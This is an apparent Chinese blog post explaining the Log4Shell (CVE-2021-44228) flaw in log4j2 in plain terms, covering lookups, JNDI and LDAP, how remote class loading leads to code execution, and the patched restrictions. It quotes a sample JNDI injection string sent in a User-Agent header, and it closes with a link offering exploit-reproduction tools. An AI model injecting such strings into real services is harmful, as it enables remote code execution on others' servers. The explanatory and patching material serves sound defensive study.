核弹级漏洞,我把log4j底裤都给扒了

使用log4jdbc输出sql操作 文章目录前言特性配置依赖配置 application添加 log4jdbc.log4j2.properties添加 logback.xml 前言 log4jdbc 是一个 JDBC 驱动器,能够记录 SQL 日志和 SQL 执行时间等信息。log4jdbc 使用 SLF4J(Simple Logging Facade)作为日志系统。 特性 支持 JDBC3 和 JDBC4 。 支持现有大部分 JDBC 驱动。 易于配置(在大部分情况下,只需要改变驱动类名并在 jdbc url 中加上:log4jdbc,设 阅读详情

大家好,我是周杰伦。

相信大家这两天应该被这么一条新闻刷屏了:
在这里插入图片描述
这个漏洞到底是怎么回事?

核弹级,真的有那么厉害吗?

怎么利用这个漏洞呢?

我看了很多技术分析文章,都太过专业,很多非Java技术栈或者不搞安全的人只能看个一知半解,导致大家只能看个热闹,对这个漏洞的成因、原理、利用方式、影响面理解的不到位。

这篇文章,我尝试让所有技术相关的朋友都能看懂**:这个注定会载入网络安全史册上的漏洞,到底是怎么一回事!**

log4j2

不管是什么编程语言,不管是前端后端还是客户端,对打日志都不会陌生。

通过日志,可以帮助我们了解程序的运行情况,排查程序运行中出现的问题。

在Java技术栈中,用的比较多的日志输出框架主要是log4j2和logback。

今天讨论的主角就是log4j2。

我们经常会在日志中输出一些变量,比如:

logger.info("client ip: {}", clientIp)

现在思考一个问题:

假如现在想要通过日志输出一个Java对象,但这个对象不在程序中,而是在其他地方,比如可能在某个文件中,甚至可能在网络上的某个地方,这种时候怎么办呢?

log4j2的强大之处在于,除了可以输出程序中的变量,它还提供了一个叫Lookup的东西,可以用来输出更多内容:

在这里插入图片描述
lookup,顾名思义就是查找、搜索的意思,那在log4j2中,就是允许在输出日志的时候,通过某种方式去查找要输出的内容。

lookup相当于是一个接口,具体去哪里查找,怎么查找,就需要编写具体的模块去实现了,类似于面向对象编程中多态那意思。

好在,log4j2已经帮我们把常见的查找途径都进行实现了:
在这里插入图片描述
具体每一个的意思,这里就不详述了,这不是本文的重点。

JNDI

主要来看其中那个叫JNDI的东西:
在这里插入图片描述

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

看不懂?看不懂就对了!

简单粗暴理解:有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。

那不同的数据源肯定有不同的查找方式,所以JNDI也只是一个上层封装,在它下面也支持很多种具体的数据源。

在这里插入图片描述

LDAP

继续把目光聚焦,咱们只看这个叫LDAP的东西。

LDAP即Lightweight Directory Access Protocol(轻量级目录访问协议),目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。

看不懂?看不懂就对了!

这个东西用在统一身份认证领域比较多,但今天也不是这篇文章的重点。你只需要简单粗暴理解:有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

漏洞原理

好了,有了以上的基础,再来理解这个漏洞就很容易了。

假如某一个Java程序中,将浏览器的类型记录到了日志中:

String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);

网络安全中有一个准则:不要信任用户输入的任何信息。

这其中,User-Agent就属于外界输入的信息,而不是自己程序里定义出来的。只要是外界输入的,就有可能存在恶意的内容。

假如有人发来了一个HTTP请求,他的User-Agent是这样一个字符串:

${jndi:ldap://127.0.0.1/exploit}

接下来,log4j2将会对这行要输出的字符串进行解析。

首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。

进一步解析,发现是JNDI扩展内容。

再进一步解析,发现了是LDAP协议,LDAP服务器在127.0.0.1,要查找的key是exploit。

最后,调用具体负责LDAP的模块去请求对应的数据。

如果只是请求普通的数据,那也没什么,但问题就出在还可以请求Java对象!

Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。

如果是自己定义的序列化方式也还好,但更危险的在于:JNDI还支持一个叫命名引用(Naming References)的方式,可以通过远程下载一个class文件,然后下载后加载起来构建对象。

PS:有时候Java对象比较大,直接通过LDAP这些存储不方便,就整了个类似于二次跳转的意思,不直接返回对象内容,而是告诉你对象在哪个class里,让你去那里找。

注意,这里就是核心问题了:JNDI可以远程下载class文件来构建对象!!!。

危险在哪里?

如果远程下载的URL指向的是一个黑客的服务器,并且下载的class文件里面藏有恶意代码,那不就完犊子了吗?

还没看懂?没关系,我画了一张图:
在这里插入图片描述
这就是鼎鼎大名的JNDI注入攻击!

其实除了LDAP,还有RMI的方式,有兴趣的可以了解下。

JNDI 注入

其实这种攻击手法不是这一次出现了,早在2016的blackhat大会上,就有大佬披露了这种攻击方式。
在这里插入图片描述
回过头来看,问题的核心在于:

Java允许通过JNDI远程去下载一个class文件来加载对象,如果这个远程地址是自己的服务器,那还好说,如果是可以被外界来指定的地址,那就要出大问题!

前面的例子中,一直用的127.0.0.1来代替LDAP服务器地址,那如果输入的User-Agent字符串中不是这个地址,而是一个恶意服务器地址呢?

影响规模

这一次漏洞的影响面之所以如此之大,主要还是log4j2的使用面实在是太广了。

一方面现在Java技术栈在Web、后端开发、大数据等领域应用非常广泛,国内除了阿里巴巴、京东、美团等一大片以Java为主要技术栈的公司外,还有多如牛毛的中小企业选择Java。

另一方面,还有好多像kafka、elasticsearch、flink这样的大量中间件都是用Java语言开发的。

在上面这些开发过程中,大量使用了log4j2作为日志输出。只要一个不留神,输出的日志有外部输入混进来,那直接就是远程代码执行RCE,灭顶之灾!

修复

新版的log4j2已经修复了这个问题,大家赶紧升级。

下面是log4j2官网中关于JNDI lookup的说明:
在这里插入图片描述
我通过搜索引擎找到了缓存的12月10号前的快照,大家对比一下,比起下面这个缓存,上面那一版多了哪些东西?答案是:修复后的log4j2在JNDI lookup中增加了很多的限制:
在这里插入图片描述
答案是:修复后的log4j2在JNDI lookup中增加了很多的限制:

默认不再支持二次跳转(也就是命名引用)的方式获取对象
只有在log4j2.allowedLdapClasses列表中指定的class才能获取。
只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能获取

以上几道限制,算是彻底封锁了通过打印日志去远程加载class的这条路了。

最后,手机前的各位Java小伙伴儿们,你们写的程序中有用到log4j2吗,有没有某个地方的输出,有外部的参数混进来呢?

赶紧检查检查哦!
另外有想自己复现这个漏洞的同学可以领取一份漏洞复现,修复资料,代码工具的资料

点击下方传送门即可免费领取

【漏洞复现,修复资料,代码工具】

大家弄懂这个漏洞了吗?如果觉得写得还不错,欢迎分享转发,顺便给俺点个赞,感谢大家的阅读。

log4j漏洞原理及攻击流程 log4j漏洞最早出现在2021年11月24日一位阿里安全团队的员工发现的,上报到Apache之后,12月10日凌晨才被公开。该漏洞威胁等级较高。基本比肩与阿里当年的fastjson漏洞。 阅读详情

相关推荐

Apache Log4j2 lookup JNDI 注入漏洞复现及利用

这时候有过有过js经验的朋友都会知道嗷,编写网站的时候一般都会使用到JNDI这个接口进行目录服务查询,而JNDI中有LDAP的类,他可以用来执行我们的恶意语句,为了方便恶意语句的回显,我们到。查看网络,重新载入一下,看看每个数据包,诶这个时候就会发现有一个数据包存在参数上传,并且URL是在另一个地址。,为什么不用那个,因为啊那个是上传系统参数的数据包,有很大的区别,感兴趣可以自己去搜一下,因为本人java也不是很精通,所以就不多嘴了。并访问,这时我们的攻击机终端就会收到新的消息,这就代表命令。.......

Tauil的博客 1433

Apache Log4j2漏洞 (CVE-2021-44228) 分析与复现

Apache Log4j2 是一个开源的 Java 日志记录工具。Log4j2 是 Log4j 的升级版本,其优异的性能被广泛的应用于各种常见的 Web 服务中。Log4j2 在特定的版本中由于启用了 lookup 功能,导致存在 JNDI 漏洞。lookup 函数是用于在日志消息中替换变量的函数,是通过配置文件中的${}语法调用的,例如:如果在日志消息中使用了,那么 log4j2 将使用 lookup 函数从系统属性中查找名为 “my.property” 的属性值,并将其替换为实际值。

未完成的歌~的博客 2万+

ptrade从零开始学习量化交易第166期【ptrade量化策略研究参考--三个因子挖掘思路】

三个因子挖掘思路

GJ57017_wx的博客 1250

Log4j2研究之lookup

一个称得上优秀的框架,必备的要素之一可以通过某种约定的格式读取到所运行环境中的配置信息。本文中我们就来感受下log4j2实现此项功能时的精妙设计。

夫礼者的专栏 1万+

【硬件】通俗易懂的讲解晶体管(三极管和MOS管)的工作原理

晶体管是一个简单的元器件,可用于构建许多有趣的项目。在本文中,我将用通俗易懂的语言给您讲解晶体管的工作原理,以便您可以在电路设计中更好的使用静态管。一旦你学习这些基础知识,对以后的设计和使用来说,将会变得非常容易。我们将重点介绍两种最常见的晶体管:双极型晶体管(三极管)和MOSFET。晶体管的工作原理其实是类似于电子开关。它可以打开和关闭电路。一个简单的思考方法是将晶体管视为无源的继电器。晶体管类似于继电器,从某种意义上说,您可以使用它来打开和关闭某些东西。但晶体管也可以部分导通,一般在放大电路中使用,这部

1万+

深入解析rknn-toolkit2混合量化:如何为RK3588和RK356X选择最佳量化策略

本文深入解析了RKNN-Toolkit2混合量化技术,针对瑞芯微RK3588和RK356X芯片的硬件特性差异,提供了最佳量化策略选择指南。通过混合量化技术,开发者可以在保持较高推理效率的同时显著降低精度损失,特别适用于边缘计算场景。文章详细介绍了混合量化的技术原理、实战流程及芯片专属优化策略,帮助开发者充分利用硬件特性提升模型性能。

dog123的博客 259

【log4j2漏洞复现与利用】

log4j2

一个程序员 4万+

告别简陋行情!在Ubuntu24.04系统用Wine9.0跑同花顺远航版的全流程记录

本文详细记录了在Ubuntu 24.04系统上,通过Wine 9.0兼容层成功安装并流畅运行同花顺远航版的全过程。文章对比了该方案与官方简陋Linux原生版本的功能差异,重点解决了高分辨率屏幕下的字体与界面显示问题,并提供了关键配置调优与长期维护建议,为Linux用户提供了功能完备的专业金融行情解决方案。

weixin_29207533的博客 1077

Web网络安全-----Log4j高危漏洞原理及修复

Log4j 即 log for java(java的日志) ,是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。提示:以下是本篇文章正文内容,下面案例可供参考。

qq_51690690的博客 1万+

LAMMPS GCMC模拟保姆级教程:从fix gcmc命令到吸附等温线实战

本文提供LAMMPS GCMC模拟的详细教程,从fix gcmc命令设置到吸附等温线实战,涵盖巨正则蒙特卡洛模拟的全流程。通过MOF-5吸附甲烷的案例,指导用户构建模拟体系、转换化学势与压力、定义GCMC区域,并绘制出版级吸附等温线,助力材料科学研究。

weixin_33724046的博客 606

UNet 改进(39):结合残差连接与CBAM注意力机制的unet模型

本文提出了一种改进的UNet架构,通过融合残差连接和CBAM注意力机制来增强医学图像分割性能。该网络保留UNet的U形结构,但将基础模块替换为ResidualBlock和CBAM的组合:残差块通过快捷连接解决梯度消失问题,CBAM模块结合通道和空间注意力机制突出重要特征。整体架构采用编码器-解码器设计,包含5个下采样和上采样阶段,通过跳跃连接融合多尺度特征。实验表明,这种改进显著提升了原始UNet的性能,特别适用于需要精细边界的医学图像分割任务。

2401_82355416的博客 1038

Log4j漏洞原理

当日志中包含${}时,log4j会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容)。使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了log4j的漏洞。log4j漏洞主要是由于其提供的lookup功能下的JndiLookup模块出现问题所导致的。当开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。

2301_76786857的博客 1239

LPDDR6 Efficiency Mode 技术探讨

LPDDR6 Efficiency Mode 技术探讨

zilan23的博客 1164

log4j漏洞原理和靶场复现

log4j漏洞原理和靶场复现

Aiwin的博客 8647

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

log4j2漏洞分析

漏洞标识符为CVE-2021-44228,通常称为Log4Shell或Log4j漏洞,它存在于Log4j的JNDI查找功能中。攻击者可以通过特殊构造的请求利用此漏洞,向Log4j发送恶意请求,从而触发远程代码执行(RCE)漏洞,进而获得服务器上的完全控制权限。这个漏洞的危害非常大,由于Log4j广泛应用于各种Java应用程序中,这意味着攻击者可以利用该漏洞轻松攻击大量的目标。

weixin_47623655的博客 1572

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Log4J2漏洞(CVE-2021-44228)原理

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发 者可以利用该工具将程序的输入输出信息进行日志记录。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏 洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶 意请求,触发远程代码执行漏洞,从而获得目标服务器权限。漏洞适应版本:2.0

m0_62466350的博客 4037

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

本文是log4j2远程代码执行漏洞原理和漏洞复现的详细说明。基于vulhub搭建靶场,攻击者利用log4j2框架下的lookup服务提供的{}字段解析功能,在{}内使用了了JNDI注入的方式,通过RMI或LDAP服务远程加载了攻击者提前部署好的恶意代码(.class),最终造成了远程代码执行。

Bossfrank的博客 4万+

一文读懂面试官都在问的Log4J2漏洞

​ Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的JndiLookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j2请求远程主机上的含有恶意代码的资源 并执行其中的代码,从而造成远程代码执行漏洞。​

YangYubo091699的博客 6445

log4j2 lookup功能

在log4j2.xml中,可以获取到项目工程中的变量,使用${占位符}即可

Juwenzhe_HEBUT的博客 1318

Apache Log4j漏洞的本质及实现原理

log4j远程代码漏洞问题被大范围曝光后已经有一段时间了。 很多人只能看到一个“弹出一个计算器”的演示,于是内心想着“哦,就是执行任意代码,启动个计算器”,却对这个漏洞的原理不甚了解。 而对于java开发应用不是非常深的同学来讲,jndi、rmi更是很陌生的名词。 这里会以不断提问的方式,逐步推进这个问题的解答,一步步揭开这个漏洞的本质,并给出对这个漏洞的思考。...

阿里渣渣java研发组-群主 1981

使用Log4jdbc-log4j2监听MyBatis中运行的SQL和Connection

引言: 在项目中使用了MyBatis,一个比较苦恼的问题是无法看到执行的SQL的具体情况,所以,就找到了Log4jdbc-log4j2。这个是一个基于jdbc层面的监听工具,可以监听对于数据库的主要操作,从而完美的查看到其中执行的操作。

木小鱼的笔记 1万+

spring Boot 集成log4j2

1. 表结构: CREATE TABLE `log_table` ( `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键id', `log_date` datetime DEFAULT NULL COMMENT '日志日期时间', `log_level` varchar(32) DEFAULT NULL COMMENT '日志级别', ...

cn_yaojin 480

【网络安全---漏洞复现】log4j2漏洞详细的复现和利用过程(CVE-2021-44228)

Log4j2远程代码执行漏洞复现(cve-2021-44228),漏洞复现详细过程,cve-2021-44228,Log4j2

m0_67844671的博客 4606

虚拟ldap服务器,什么是LDAP,LDAP服务器是什么?

从上述定义不难看出LDAP是一个目录,那么该目录是如何出现,有什么用呢?在当今的信息世界,网络为人们提供了丰富的资源。随着网络资源的日益丰富,迫切需要一种能有效管理资源信息并利于检索查询的服务技术。目录服务技术随之产生。1.LDAP目录服务可以有效地解决众多网络服务的用户账户问题。2.LDAP目录服务规定了统一的身份信息数据库、身份认证机制和接口,实现了资源和信息的统一管理,保证了数据的一致性和完...

weixin_28989357的博客 938
上一篇: 学完渗透赌博网站,从零基础到实战的Web渗透学习路线+手册
下一篇: 谁的大一不迷茫?网络安全到底该怎么入门?
AI小模型
博客等级 码龄6年 6863粉丝 487原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值